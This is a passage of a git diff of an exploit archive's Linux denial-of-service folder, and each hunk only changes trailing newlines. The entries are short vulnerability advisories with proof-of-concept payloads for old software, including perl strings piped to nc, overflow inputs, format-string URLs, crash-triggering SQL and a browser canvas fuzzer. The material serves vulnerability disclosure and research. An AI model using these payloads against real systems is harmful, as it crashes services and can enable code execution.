b/platforms/linux/dos/25164.txt @@ -6,4 +6,4 @@ A vulnerablity in the client arises when it tries to download a file with bracke Gaim version 1.1.3 is reported to be affected by this vulnerability; other versions may also be vulnerable. -gaim1.1(windows).exe \ No newline at end of file +gaim1.1(windows).exe \ No newline at end of file diff --git a/platforms/linux/dos/25303.txt b/platforms/linux/dos/25303.txt index 01c7923e9..7c0a7af2d 100755 --- a/platforms/linux/dos/25303.txt +++ b/platforms/linux/dos/25303.txt @@ -4,4 +4,4 @@ Multiple vendors' Telnet client applications are reported prone to a remote buff A remote attacker may exploit this vulnerability to execute arbitrary code on some of the affected platforms in the context of a user that is using the vulnerable Telnet client to connect to a malicious server. -perl -e 'print "\377", "\372\42\3\377\377\3\3" x 43, "\377\360"' | nc -l 23 \ No newline at end of file +perl -e 'print "\377", "\372\42\3\377\377\3\3" x 43, "\377\360"' | nc -l 23 \ No newline at end of file diff --git a/platforms/linux/dos/25334.txt b/platforms/linux/dos/25334.txt index 4dfee97ba..47ba7ce43 100755 --- a/platforms/linux/dos/25334.txt +++ b/platforms/linux/dos/25334.txt @@ -16,4 +16,4 @@ var rx=/val/i; x = x.replace(rx,function($1){ $1.match(rx); return ""; -}); \ No newline at end of file +}); \ No newline at end of file diff --git a/platforms/linux/dos/25465.txt b/platforms/linux/dos/25465.txt index fbc53dcbe..1695dc66d 100755 --- a/platforms/linux/dos/25465.txt +++ b/platforms/linux/dos/25465.txt @@ -4,4 +4,4 @@ Logwatch is prone to a denial of vulnerability in the secure script. This issue may be exploited by a local attacker who can inject a malicious string into a log file, causing a denial of service condition. As a result, the utility may not detect subsequent malicious activity. -ogger -p authpriv.notice '+++ connection closed by localhost +++' \ No newline at end of file +ogger -p authpriv.notice '+++ connection closed by localhost +++' \ No newline at end of file diff --git a/platforms/linux/dos/25527.txt b/platforms/linux/dos/25527.txt index 9b4380d23..fe662dd09 100755 --- a/platforms/linux/dos/25527.txt +++ b/platforms/linux/dos/25527.txt @@ -4,4 +4,4 @@ A remotely exploitable client-side buffer-overflow vulnerability affects ImageMa An attacker may exploit this issue to cause the affected application to crash, potentially destroying unsaved data, ultimately denying service to legitimate users. -perl -e 'print "P7\n1\n1 1\n1"' > vuln.pnm \ No newline at end of file +perl -e 'print "P7\n1\n1 1\n1"' > vuln.pnm \ No newline at end of file diff --git a/platforms/linux/dos/26248.sh b/platforms/linux/dos/26248.sh index 5f05698a4..9ebe344cf 100755 --- a/platforms/linux/dos/26248.sh +++ b/platforms/linux/dos/26248.sh @@ -8,4 +8,4 @@ A local attacker can exploit this vulnerability by making repeated reads to the while true; do cat /proc/scsi/sg/devices > /dev/null -done \ No newline at end of file +done \ No newline at end of file diff --git a/platforms/linux/dos/27145.txt b/platforms/linux/dos/27145.txt index 8fcaaab0a..edebd6261 100755 --- a/platforms/linux/dos/27145.txt +++ b/platforms/linux/dos/27145.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/16408/info GNOME Evolution email client is prone to a denial-of-service vulnerability when processing messages containing inline XML file attachments with excessively long strings. -perl -e 'printf "A"x40000' > evolution-dos-poc.xml \ No newline at end of file +perl -e 'printf "A"x40000' > evolution-dos-poc.xml \ No newline at end of file diff --git a/platforms/linux/dos/29458.txt b/platforms/linux/dos/29458.txt index 7adabfa43..5052d92de 100755 --- a/platforms/linux/dos/29458.txt +++ b/platforms/linux/dos/29458.txt @@ -12,4 +12,4 @@ export dir=$(perl -e " print 's/'x1000;") mkdir -p $dir cp /bin/sleep $dir $dir/sleep 100 & -gnome-system-monitor \ No newline at end of file +gnome-system-monitor \ No newline at end of file diff --git a/platforms/linux/dos/29470.txt b/platforms/linux/dos/29470.txt index de501d312..f58ec16a0 100755 --- a/platforms/linux/dos/29470.txt +++ b/platforms/linux/dos/29470.txt @@ -9,4 +9,4 @@ Oftpd Server 0.3.7 is reported vulnerable; other versions may also be affected. nc www.example.com 21 <<< "LPRT 1,16,63,254,47,0,0,32,0,0,0,0,0,0,32,254,143,205,2,141,176" 220 Service ready for new user. -521 Only IPv4 supported, address family (4) \ No newline at end of file +521 Only IPv4 supported, address family (4) \ No newline at end of file diff --git a/platforms/linux/dos/29473.txt b/platforms/linux/dos/29473.txt index 7cf503555..f943016f2 100755 --- a/platforms/linux/dos/29473.txt +++ b/platforms/linux/dos/29473.txt @@ -6,4 +6,4 @@ Successfully exploiting this issue allows remote attackers to crash affected pro Squid versions from 2.5.STABLE11 to 2.6.STABLE6 are vulnerable to this issue. -ftp://www.example.com/sample/directory;type=d \ No newline at end of file +ftp://www.example.com/sample/directory;type=d \ No newline at end of file diff --git a/platforms/linux/dos/29683.txt b/platforms/linux/dos/29683.txt index da839ef56..f2b30852f 100755 --- a/platforms/linux/dos/29683.txt +++ b/platforms/linux/dos/29683.txt @@ -7,4 +7,4 @@ A local attacker can exploit this issue to crash the kernel. Linux kernel versions 2.6.x are vulnerable to this issue. 1. auditctl -w /etc/shadow -2. useradd userb \ No newline at end of file +2. useradd userb \ No newline at end of file diff --git a/platforms/linux/dos/29716.txt b/platforms/linux/dos/29716.txt index b2b64a64a..52bb866c1 100755 --- a/platforms/linux/dos/29716.txt +++ b/platforms/linux/dos/29716.txt @@ -9,4 +9,4 @@ This issue affects version 1.0.2; other versions may also be affected. The following proof of concept demonstrates this issue: connect yourserver -join nonexistent -hmac nonexistent \ No newline at end of file +join nonexistent -hmac nonexistent \ No newline at end of file diff --git a/platforms/linux/dos/29717.txt b/platforms/linux/dos/29717.txt index 80c3cef8c..870ea9134 100755 --- a/platforms/linux/dos/29717.txt +++ b/platforms/linux/dos/29717.txt @@ -13,4 +13,4 @@ perl -e 'print "a"x1200' | nc -l -p 1700 -v -v -n conquest -m -M 127.0.0.1 3. Interrupt the fake metaserver: conquest should have been crashed -trying to executing the code at offset 0x61616161 \ No newline at end of file +trying to executing the code at offset 0x61616161 \ No newline at end of file diff --git a/platforms/linux/dos/29826.txt b/platforms/linux/dos/29826.txt index 496e69f0a..2781a73e5 100755 --- a/platforms/linux/dos/29826.txt +++ b/platforms/linux/dos/29826.txt @@ -29,4 +29,4 @@ AA AA 03 0C 0D 0E 0F 10 11 12 13 14 -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/linux/dos/29939.txt b/platforms/linux/dos/29939.txt index 98cbb1477..41c7fc51c 100755 --- a/platforms/linux/dos/29939.txt +++ b/platforms/linux/dos/29939.txt @@ -37,4 +37,4 @@ pTraps[2].left.p2.y = 13272; pTraps[2].right.p1.x = 54806; pTraps[2].right.p1.y = 46200; pTraps[2].right.p2.x = 5052; -pTraps[2].right.p2.y = 22005; \ No newline at end of file +pTraps[2].right.p2.y = 22005; \ No newline at end of file diff --git a/platforms/linux/dos/30020.txt b/platforms/linux/dos/30020.txt index b64023d3b..7c536d8f1 100755 --- a/platforms/linux/dos/30020.txt +++ b/platforms/linux/dos/30020.txt @@ -8,4 +8,4 @@ NOTE: An attacker must be able to execute arbitrary SELECT statements against th Versions prior to MySQL 5.0.40 are vulnerable. -SELECT id from example WHERE id IN(1, (SELECT IF(1=0,1,2/0))); \ No newline at end of file +SELECT id from example WHERE id IN(1, (SELECT IF(1=0,1,2/0))); \ No newline at end of file diff --git a/platforms/linux/dos/30578.txt b/platforms/linux/dos/30578.txt index b7058ad52..2186a45a1 100755 --- a/platforms/linux/dos/30578.txt +++ b/platforms/linux/dos/30578.txt @@ -15,4 +15,4 @@ indx truck size 0xffffff00 wLongsPerEntry 0x0001 BIndexSubType is 0x64 bIndexType is 0x73 -nEntriesInuse is 0x10000020 \ No newline at end of file +nEntriesInuse is 0x10000020 \ No newline at end of file diff --git a/platforms/linux/dos/30579.txt b/platforms/linux/dos/30579.txt index a5c304fa0..b68a58d2c 100755 --- a/platforms/linux/dos/30579.txt +++ b/platforms/linux/dos/30579.txt @@ -29,4 +29,4 @@ indx truck size 0xffffff00 wLongsPerEntry 0x0001 BIndexSubType is 0x64 bIndexType is 0x73 -nEntriesInuse is 0x10000020 \ No newline at end of file +nEntriesInuse is 0x10000020 \ No newline at end of file diff --git a/platforms/linux/dos/30580.txt b/platforms/linux/dos/30580.txt index 35e368854..b617c31fd 100755 --- a/platforms/linux/dos/30580.txt +++ b/platforms/linux/dos/30580.txt @@ -34,4 +34,4 @@ indx truck size 0xffffff00 wLongsPerEntry 0x0001 BIndexSubType is 0x64 bIndexType is 0x73 -nEntriesInuse is 0x10000020 \ No newline at end of file +nEntriesInuse is 0x10000020 \ No newline at end of file diff --git a/platforms/linux/dos/30646.txt b/platforms/linux/dos/30646.txt index 575dc1e21..dfada5842 100755 --- a/platforms/linux/dos/30646.txt +++ b/platforms/linux/dos/30646.txt @@ -18,4 +18,4 @@ oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooong. loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo oong.looooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo ooooooong.loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo -oooooooooooong.host-name.example.com/ \ No newline at end of file +oooooooooooong.host-name.example.com/ \ No newline at end of file diff --git a/platforms/linux/dos/30744.txt b/platforms/linux/dos/30744.txt index 321cbc80a..0dba485a6 100755 --- a/platforms/linux/dos/30744.txt +++ b/platforms/linux/dos/30744.txt @@ -19,4 +19,4 @@ mysql> ALTER TABLE test ADD INDEX (foo(100)); Query OK, 0 rows affected Records: 0 Duplicates: 0 Warnings: 0 -mysql> SELECT * FROM test WHERE CONTAINS(foo, 'bar'); \ No newline at end of file +mysql> SELECT * FROM test WHERE CONTAINS(foo, 'bar'); \ No newline at end of file diff --git a/platforms/linux/dos/30956.txt b/platforms/linux/dos/30956.txt index 0e53f6b45..f9126bd75 100755 --- a/platforms/linux/dos/30956.txt +++ b/platforms/linux/dos/30956.txt @@ -8,4 +8,4 @@ Successfully exploiting this issue allows remote attackers to execute arbitrary CoolPlayer 217 is vulnerable; other versions may also be affected. -vorbiscomment -t cTag=AAA_2500_A's_AAA -a input.ogg output.ogg \ No newline at end of file +vorbiscomment -t cTag=AAA_2500_A's_AAA -a input.ogg output.ogg \ No newline at end of file diff --git a/platforms/linux/dos/30985.txt b/platforms/linux/dos/30985.txt index 868a9ce39..569ae29a2 100755 --- a/platforms/linux/dos/30985.txt +++ b/platforms/linux/dos/30985.txt @@ -12,4 +12,4 @@ Steps to Reproduce: 1. mkdir -p tmp/dir1 2. echo file_with_really_really_long_silly_name_to_test_iso_info_buffer 3. mkisofs -J -R -volid My_Image -o test.iso tmp -4. iso-info -l test.iso \ No newline at end of file +4. iso-info -l test.iso \ No newline at end of file diff --git a/platforms/linux/dos/31002.txt b/platforms/linux/dos/31002.txt index 3f2bf6f63..3e3f86116 100755 --- a/platforms/linux/dos/31002.txt +++ b/platforms/linux/dos/31002.txt @@ -10,4 +10,4 @@ The following proof-of-concept SDP data is available: a=Abstract:buffer;'QUFBQUFBQUFBQUFBQUFB...40000_of_QUFBQUFB's...FBQUFB' -When decoding 'QUFBQUFB', the portion will be decoded to 'AAAAAA'. \ No newline at end of file +When decoding 'QUFBQUFB', the portion will be decoded to 'AAAAAA'. \ No newline at end of file diff --git a/platforms/linux/dos/31440.txt b/platforms/linux/dos/31440.txt index 118a37fdb..0d1432316 100755 --- a/platforms/linux/dos/31440.txt +++ b/platforms/linux/dos/31440.txt @@ -35,4 +35,4 @@ m=audio 5000 RTP/AVP 0 a=rtpmap:0 PCMU/8000 [... repeat this line ...] a=rtpmap:4 G723/8000/1 -a=rtpmap:97 telephone-event/8000 \ No newline at end of file +a=rtpmap:97 telephone-event/8000 \ No newline at end of file diff --git a/platforms/linux/dos/31594.html b/platforms/linux/dos/31594.html index 99efe452c..da23dfc33 100755 --- a/platforms/linux/dos/31594.html +++ b/platforms/linux/dos/31594.html @@ -6,4 +6,4 @@ These issues lead to memory corruption and may result in remote unauthorized acc Versions prior to Opera 9.27 are vulnerable. -<body> <font face="arial,helvetica"> <font size=+3><code><CANVAS></code> fuzzer</font><font size=-1> by <a href="mailto:lcamtuf@coredump.cx">lcamtuf@coredump.cx</a></font><p> <div id=ccont> <canvas id=canvas height=200 width=300 style="border: 1px solid teal"></canvas> </div> <img id=image src="envelope.gif" align=top> <p> <input type=checkbox id=dealloc> Deallocate canvas after every cycle (NULL ptr in Safari, likely exploitable in Opera)<br> <input type=checkbox id=keep_ctx> Keep context (if combined with above, NULL ptr Firefox, likely exploitable in Opera)<br> <input type=checkbox id=scale_large> Use large canvas scaling (likely exploitable in Opera, bogs down Firefox)<br> <input type=checkbox id=return_undef> Return <code>undefined</code> values (NULL ptr Safari, may hang Opera)<br> <input type=checkbox id=return_large> Return large integers (exploitable crash in Safari, OOM/DoS elsewhere)<br> <input type=checkbox id=quick> Skip time-consuming operations (quicker, but may miss issues)<p> <input type=submit value="Begin tests" id=button onclick="setup_all()"><p> <script> var ctx; /* Canvas context */ var imgObj; /* Reference image */ var scval = 1; var transval = 0; var quick; var dealloc; var return_undef; var return_large; var scale_large; var keep_ctx; var iht; function setup_all() { var canvas = document.getElementById('canvas'); ctx = canvas.getContext('2d'); imgObj = document.getElementById('image'); iht = document.getElementById('ccont').innerHTML; quick = document.getElementById('quick').checked; dealloc = document.getElementById('dealloc').checked; return_undef = document.getElementById('return_undef').checked; return_large = document.getElementById('return_large').checked; scale_large = document.getElementById('scale_large').checked; keep_ctx = document.getElementById('keep_ctx').checked; document.getElementById('button').disabled = true; setInterval('do_fuzz();',1); } function R(x) { return Math.floor(Math.random() * x); } function make_number() { var v; var sel; if (return_large == true && R(3) == 1) sel = R(6); else sel = R(4); if (return_undef == false && sel == 0) sel = 1; if (R(2) == 1) v = R(100); else switch (sel) { case 0: break; case 1: v = 0; break; case 2: v = 0.000001; break; case 3: v = 10000; break; case 4: v = 2000000000; break; case 5: v = 1e100; break; } if (R(4) == 1) v = -v; return v; } function make_color() { if (R(2) == 1) return "#C0F0A0"; else return "#000090"; } function make_fill() { var sel; if (quick == true) sel = 0; else sel = R(6); switch (sel) { case 0: case 1: case 2: return make_color(); break; case 3: var r = ctx.createLinearGradient(make_number(),make_number(),make_number(),make_number()); for (i=0;i<4;i++) r.addColorStop(make_number(),make_color()); return r; break; case 4: var r = ctx.createRadialGradient(make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); for (i=0;i<4;i++) r.addColorStop(make_number(),make_color()); return r; break; case 5: var r = ctx.createPattern(imgObj,"repeat"); if (R(6) == 0) r.addColorStop(make_number(),make_color()); return r; break; } } function do_fuzz() { if (dealloc == true) document.getElementById('ccont').innerHTML = iht; if (keep_ctx == false) { var canvas = document.getElementById('canvas'); ctx = canvas.getContext('2d'); } for (i=0;i<100;i++) { try { switch (R(33)) { case 0: ctx.fillStyle = make_fill(); break; case 1: ctx.globalAlpha = Math.random() - .5; break; case 2: switch (R(3)) { case 0: ctx.globalCompositeOperation = 'copy'; break; case 1: ctx.globalCompositeOperation = 'xor'; break; case 2: ctx.globalCompositeOperation = 'source-over'; break; } break; case 3: switch (R(2)) { case 0: ctx.lineCap = 'round'; break; case 1: ctx.lineCap = 'butt'; break; } break; case 4: switch (R(2)) { case 0: ctx.lineJoin = 'round'; break; case 1: ctx.lineJoin = 'miter'; break; } break; case 5: ctx.lineWidth = make_number(); break; case 6: ctx.miterLimit = make_number(); break; case 7: if (quick == true) break; ctx.shadowBlur = make_number(); break; case 8: if (quick == true) break; ctx.shadowColor = make_fill(); break; case 9: if (quick == true) break; ctx.shadowOffsetX = make_number(); ctx.shadowOffsetY = make_number(); break; case 10: ctx.restore(); break; case 11: ctx.rotate(make_number()); break; case 12: ctx.save(); break; case 13: ctx.scale(-1,-1); break; case 14: if (quick == true) break; if (transval == 0) { transval = make_number(); ctx.translate(transval,0); } else { ctx.translate(-transval,0); transval = 0; } break; case 15: ctx.clearRect(make_number(),make_number(),make_number(),make_number()); break; case 16: if (quick == true) break; ctx.drawImage(imgObj,make_number(),make_number(),make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); break; case 17: ctx.fillRect(make_number(),make_number(),make_number(),make_number()); break; case 18: ctx.beginPath(); break; case 19: // ctx.clip() is evil. break; case 20: ctx.closePath(); break; case 21: ctx.fill(); break; case 22: ctx.stroke(); break; case 23: ctx.strokeRect(make_number(),make_number(),make_number(),make_number()); break; case 24: if (quick == true) break; ctx.arc(make_number(),make_number(),make_number(),make_number(),make_number(),true); break; case 25: if (quick == true) break; ctx.arcTo(make_number(),make_number(),make_number(),make_number(),make_number()); break; case 26: if (quick == true) break; ctx.bezierCurveTo(make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); break; case 27: ctx.lineTo(make_number(),make_number()); break; case 28: ctx.moveTo(make_number(),make_number()); break; case 29: if (quick == true) break; ctx.quadraticCurveTo(make_number(),make_number(),make_number(),make_number()); break; case 30: if (quick == true) break; ctx.transform(make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); break; case 31: if (quick == true) break; ctx.setTransform(make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); break; case 32: if (scale_large == true) { switch (scval) { case 0: ctx.scale(-1000000000,1); ctx.scale(-1000000000,1); scval = 1; break; case 1: ctx.scale(-.000000001,1); scval = 2; break; case 1: ctx.scale(-.000000001,1); scval = 0; break; } } break; } } catch (e) { } } } </script> \ No newline at end of file +<body> <font face="arial,helvetica"> <font size=+3><code><CANVAS></code> fuzzer</font><font size=-1> by <a href="mailto:lcamtuf@coredump.cx">lcamtuf@coredump.cx</a></font><p> <div id=ccont> <canvas id=canvas height=200 width=300 style="border: 1px solid teal"></canvas> </div> <img id=image src="envelope.gif" align=top> <p> <input type=checkbox id=dealloc> Deallocate canvas after every cycle (NULL ptr in Safari, likely exploitable in Opera)<br> <input type=checkbox id=keep_ctx> Keep context (if combined with above, NULL ptr Firefox, likely exploitable in Opera)<br> <input type=checkbox id=scale_large> Use large canvas scaling (likely exploitable in Opera, bogs down Firefox)<br> <input type=checkbox id=return_undef> Return <code>undefined</code> values (NULL ptr Safari, may hang Opera)<br> <input type=checkbox id=return_large> Return large integers (exploitable crash in Safari, OOM/DoS elsewhere)<br> <input type=checkbox id=quick> Skip time-consuming operations (quicker, but may miss issues)<p> <input type=submit value="Begin tests" id=button onclick="setup_all()"><p> <script> var ctx; /* Canvas context */ var imgObj; /* Reference image */ var scval = 1; var transval = 0; var quick; var dealloc; var return_undef; var return_large; var scale_large; var keep_ctx; var iht; function setup_all() { var canvas = document.getElementById('canvas'); ctx = canvas.getContext('2d'); imgObj = document.getElementById('image'); iht = document.getElementById('ccont').innerHTML; quick = document.getElementById('quick').checked; dealloc = document.getElementById('dealloc').checked; return_undef = document.getElementById('return_undef').checked; return_large = document.getElementById('return_large').checked; scale_large = document.getElementById('scale_large').checked; keep_ctx = document.getElementById('keep_ctx').checked; document.getElementById('button').disabled = true; setInterval('do_fuzz();',1); } function R(x) { return Math.floor(Math.random() * x); } function make_number() { var v; var sel; if (return_large == true && R(3) == 1) sel = R(6); else sel = R(4); if (return_undef == false && sel == 0) sel = 1; if (R(2) == 1) v = R(100); else switch (sel) { case 0: break; case 1: v = 0; break; case 2: v = 0.000001; break; case 3: v = 10000; break; case 4: v = 2000000000; break; case 5: v = 1e100; break; } if (R(4) == 1) v = -v; return v; } function make_color() { if (R(2) == 1) return "#C0F0A0"; else return "#000090"; } function make_fill() { var sel; if (quick == true) sel = 0; else sel = R(6); switch (sel) { case 0: case 1: case 2: return make_color(); break; case 3: var r = ctx.createLinearGradient(make_number(),make_number(),make_number(),make_number()); for (i=0;i<4;i++) r.addColorStop(make_number(),make_color()); return r; break; case 4: var r = ctx.createRadialGradient(make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); for (i=0;i<4;i++) r.addColorStop(make_number(),make_color()); return r; break; case 5: var r = ctx.createPattern(imgObj,"repeat"); if (R(6) == 0) r.addColorStop(make_number(),make_color()); return r; break; } } function do_fuzz() { if (dealloc == true) document.getElementById('ccont').innerHTML = iht; if (keep_ctx == false) { var canvas = document.getElementById('canvas'); ctx = canvas.getContext('2d'); } for (i=0;i<100;i++) { try { switch (R(33)) { case 0: ctx.fillStyle = make_fill(); break; case 1: ctx.globalAlpha = Math.random() - .5; break; case 2: switch (R(3)) { case 0: ctx.globalCompositeOperation = 'copy'; break; case 1: ctx.globalCompositeOperation = 'xor'; break; case 2: ctx.globalCompositeOperation = 'source-over'; break; } break; case 3: switch (R(2)) { case 0: ctx.lineCap = 'round'; break; case 1: ctx.lineCap = 'butt'; break; } break; case 4: switch (R(2)) { case 0: ctx.lineJoin = 'round'; break; case 1: ctx.lineJoin = 'miter'; break; } break; case 5: ctx.lineWidth = make_number(); break; case 6: ctx.miterLimit = make_number(); break; case 7: if (quick == true) break; ctx.shadowBlur = make_number(); break; case 8: if (quick == true) break; ctx.shadowColor = make_fill(); break; case 9: if (quick == true) break; ctx.shadowOffsetX = make_number(); ctx.shadowOffsetY = make_number(); break; case 10: ctx.restore(); break; case 11: ctx.rotate(make_number()); break; case 12: ctx.save(); break; case 13: ctx.scale(-1,-1); break; case 14: if (quick == true) break; if (transval == 0) { transval = make_number(); ctx.translate(transval,0); } else { ctx.translate(-transval,0); transval = 0; } break; case 15: ctx.clearRect(make_number(),make_number(),make_number(),make_number()); break; case 16: if (quick == true) break; ctx.drawImage(imgObj,make_number(),make_number(),make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); break; case 17: ctx.fillRect(make_number(),make_number(),make_number(),make_number()); break; case 18: ctx.beginPath(); break; case 19: // ctx.clip() is evil. break; case 20: ctx.closePath(); break; case 21: ctx.fill(); break; case 22: ctx.stroke(); break; case 23: ctx.strokeRect(make_number(),make_number(),make_number(),make_number()); break; case 24: if (quick == true) break; ctx.arc(make_number(),make_number(),make_number(),make_number(),make_number(),true); break; case 25: if (quick == true) break; ctx.arcTo(make_number(),make_number(),make_number(),make_number(),make_number()); break; case 26: if (quick == true) break; ctx.bezierCurveTo(make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); break; case 27: ctx.lineTo(make_number(),make_number()); break; case 28: ctx.moveTo(make_number(),make_number()); break; case 29: if (quick == true) break; ctx.quadraticCurveTo(make_number(),make_number(),make_number(),make_number()); break; case 30: if (quick == true) break; ctx.transform(make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); break; case 31: if (quick == true) break; ctx.setTransform(make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); break; case 32: if (scale_large == true) { switch (scval) { case 0: ctx.scale(-1000000000,1); ctx.scale(-1000000000,1); scval = 1; break; case 1: ctx.scale(-.000000001,1); scval = 2; break; case 1: ctx.scale(-.000000001,1); scval = 0; break; } } break; } } catch (e) { } } } </script> \ No newline at end of file diff --git a/platforms/linux/dos/31815.html b/platforms/linux/dos/31815.html index 80cdfbe27..f6feae71f 100755 --- a/platforms/linux/dos/31815.html +++ b/platforms/linux/dos/31815.html @@ -15,4 +15,4 @@ match="html/body/table/tr/td/div/div/div/div/div/div/div/div/table/tr/td/table/t <found/> </xsl:if> </xsl:template> -</xsl:stylesheet> \ No newline at end of file +</xsl:stylesheet> \ No newline at end of file diff --git a/platforms/linux/dos/31968.txt b/platforms/linux/dos/31968.txt index b89451f48..86177e918 100755 --- a/platforms/linux/dos/31968.txt +++ b/platforms/linux/dos/31968.txt @@ -9,4 +9,4 @@ GNOME Rhythmbox 0.11.5 is vulnerable; other versions may also be affected. [playlist] X-GNOME-Title= Title= A * 1475 -NumberOfEntries=0 \ No newline at end of file +NumberOfEntries=0 \ No newline at end of file diff --git a/platforms/linux/dos/31979.html b/platforms/linux/dos/31979.html index 71494b5ca..eba24af9c 100755 --- a/platforms/linux/dos/31979.html +++ b/platforms/linux/dos/31979.html @@ -6,4 +6,4 @@ Successful attacks will crash the application. Evolution 2.22.2 is vulnerable; other versions may also be affected. -<IFRAME SRC="A"></IFRAME> <FRAMESET><FRAME SRC="A"></FRAMESET> \ No newline at end of file +<IFRAME SRC="A"></IFRAME> <FRAMESET><FRAME SRC="A"></FRAMESET> \ No newline at end of file diff --git a/platforms/linux/dos/32000.txt b/platforms/linux/dos/32000.txt index de81d913b..a05aea59f 100755 --- a/platforms/linux/dos/32000.txt +++ b/platforms/linux/dos/32000.txt @@ -7,4 +7,4 @@ Attackers can exploit this issue to deny service to legitimate users by crashing OpenLDAP 2.3.41 is vulnerable to this issue; earlier versions back to approximately 2.1.18 as well as newer versions may also be affected. slapd -h ldap:// -d511 & -perl -e 'print "\xff\xff\xff\x00\x84\x41\x42\x43\x44"' | nc localhost 389 \ No newline at end of file +perl -e 'print "\xff\xff\xff\x00\x84\x41\x42\x43\x44"' | nc localhost 389 \ No newline at end of file diff --git a/platforms/linux/dos/32112.txt b/platforms/linux/dos/32112.txt index d51a6c522..21ff8607d 100755 --- a/platforms/linux/dos/32112.txt +++ b/platforms/linux/dos/32112.txt @@ -18,4 +18,4 @@ Trying 192.168.1.2... Connected to 192.168.1.2. Escape character is '^]'. I am sorry, but there is no free PTY left! -Connection closed by foreign host. \ No newline at end of file +Connection closed by foreign host. \ No newline at end of file diff --git a/platforms/linux/dos/32248.txt b/platforms/linux/dos/32248.txt index 9677a0705..bd83a536a 100755 --- a/platforms/linux/dos/32248.txt +++ b/platforms/linux/dos/32248.txt @@ -8,4 +8,4 @@ Yelp 2.23.1 is vulnerable; other versions may also be affected. ftp://%08x.%08x.%08x.%08x.%08x.%08x %x%x%x%x%x%x:// -%08x%08x \ No newline at end of file +%08x%08x \ No newline at end of file diff --git a/platforms/linux/dos/32348.txt b/platforms/linux/dos/32348.txt index 9041900c1..acd27de7a 100755 --- a/platforms/linux/dos/32348.txt +++ b/platforms/linux/dos/32348.txt @@ -8,4 +8,4 @@ This issue affects versions prior to MySQL 5.0.66, 5.1.26, and 6.0.6. The following proof-of-concept query is available: -select b''; \ No newline at end of file +select b''; \ No newline at end of file diff --git a/platforms/linux/dos/32384.txt b/platforms/linux/dos/32384.txt index e1f949e96..f75e0ff3a 100755 --- a/platforms/linux/dos/32384.txt +++ b/platforms/linux/dos/32384.txt @@ -62,4 +62,4 @@ filename=file1:file2 ioengine=mmap rw=randwrite direct=1 -filename=file1:file2 \ No newline at end of file +filename=file1:file2 \ No newline at end of file diff --git a/platforms/linux/dos/32451.txt b/platforms/linux/dos/32451.txt index 2a0c074a3..1796e0b5a 100755 --- a/platforms/linux/dos/32451.txt +++ b/platforms/linux/dos/32451.txt @@ -13,4 +13,4 @@ An attacker can exploit this issue with readily available tools. The following 'gdb' command is sufficient to trigger a kernel crash: -gdb any_executable 1 \ No newline at end of file +gdb any_executable 1 \ No newline at end of file diff --git a/platforms/linux/dos/32471.txt b/platforms/linux/dos/32471.txt index b923e42cb..0c63bfa0c 100755 --- a/platforms/linux/dos/32471.txt +++ b/platforms/linux/dos/32471.txt @@ -6,4 +6,4 @@ An attacker may exploit this vulnerability to cause Konqueror to crash, resultin The issue affects Konqueror 3.5.9; other versions may also be affected. -<!--- Jeremy Brown [0xjbrown41@gmail.com/http://jbrownsec.blogspot.com] Tested on Ubuntu 8.04 + Konqueror 3.5.9 A product of my fuzzing projects :) --> <html> <script type="text/javascript"> document.load(''); </script> </html> \ No newline at end of file +<!--- Jeremy Brown [0xjbrown41@gmail.com/http://jbrownsec.blogspot.com] Tested on Ubuntu 8.04 + Konqueror 3.5.9 A product of my fuzzing projects :) --> <html> <script type="text/javascript"> document.load(''); </script> </html> \ No newline at end of file diff --git a/platforms/linux/dos/32551.txt b/platforms/linux/dos/32551.txt index 69c86787c..98e60174b 100755 --- a/platforms/linux/dos/32551.txt +++ b/platforms/linux/dos/32551.txt @@ -10,4 +10,4 @@ The issue affects Dovecot 1.1.4 and 1.1.5. The following invalid message address header is sufficient to trigger this issue: -"From: (" \ No newline at end of file +"From: (" \ No newline at end of file diff --git a/platforms/linux/dos/32696.txt b/platforms/linux/dos/32696.txt index 05990c86a..71b1b7d5e 100755 --- a/platforms/linux/dos/32696.txt +++ b/platforms/linux/dos/32696.txt @@ -12,4 +12,4 @@ remote:/<a href="javascript:alert(1)">Here</a> applications:/<font size="8">THE GAME</font> applications:/<iframe src="http://milw0rm.com"> remote://crash:konqueror@ -applications://crash:konqueror@ \ No newline at end of file +applications://crash:konqueror@ \ No newline at end of file diff --git a/platforms/linux/dos/32726.txt b/platforms/linux/dos/32726.txt index 414cf4c90..493472fa8 100755 --- a/platforms/linux/dos/32726.txt +++ b/platforms/linux/dos/32726.txt @@ -4,4 +4,4 @@ Ganglia is prone to a remote stack-based buffer-overflow vulnerability because t Attackers can leverage this issue to execute arbitrary code in the context of the application. Successful exploits will compromise the application and the underlying computer. Failed attacks will cause denial-of-service conditions. -echo "/`python -c \"print \\"%s/%s\\" % ('a'*300,'b'*300)\"`" |nc localhost 8652 \ No newline at end of file +echo "/`python -c \"print \\"%s/%s\\" % ('a'*300,'b'*300)\"`" |nc localhost 8652 \ No newline at end of file diff --git a/platforms/linux/dos/32749.txt b/platforms/linux/dos/32749.txt index 43a36a6a5..f92e25bcb 100755 --- a/platforms/linux/dos/32749.txt +++ b/platforms/linux/dos/32749.txt @@ -10,4 +10,4 @@ NOTE: This issue was previously thought to be a subset of the vulnerability docu Sending a filename that contains the maximum number of allowable characters and that includes the characters defined by the hex data below will crash the application. -'26 23 38 32 32 37 3b 20 26 23 38 32 32 38 3b 20 26 23 38 32 32 39 3b 20 85' \ No newline at end of file +'26 23 38 32 32 37 3b 20 26 23 38 32 32 38 3b 20 26 23 38 32 32 39 3b 20 85' \ No newline at end of file diff --git a/platforms/linux/dos/32838.txt b/platforms/linux/dos/32838.txt index f8b77944e..64f8a06a4 100755 --- a/platforms/linux/dos/32838.txt +++ b/platforms/linux/dos/32838.txt @@ -10,4 +10,4 @@ MySQL 5.1.31 and 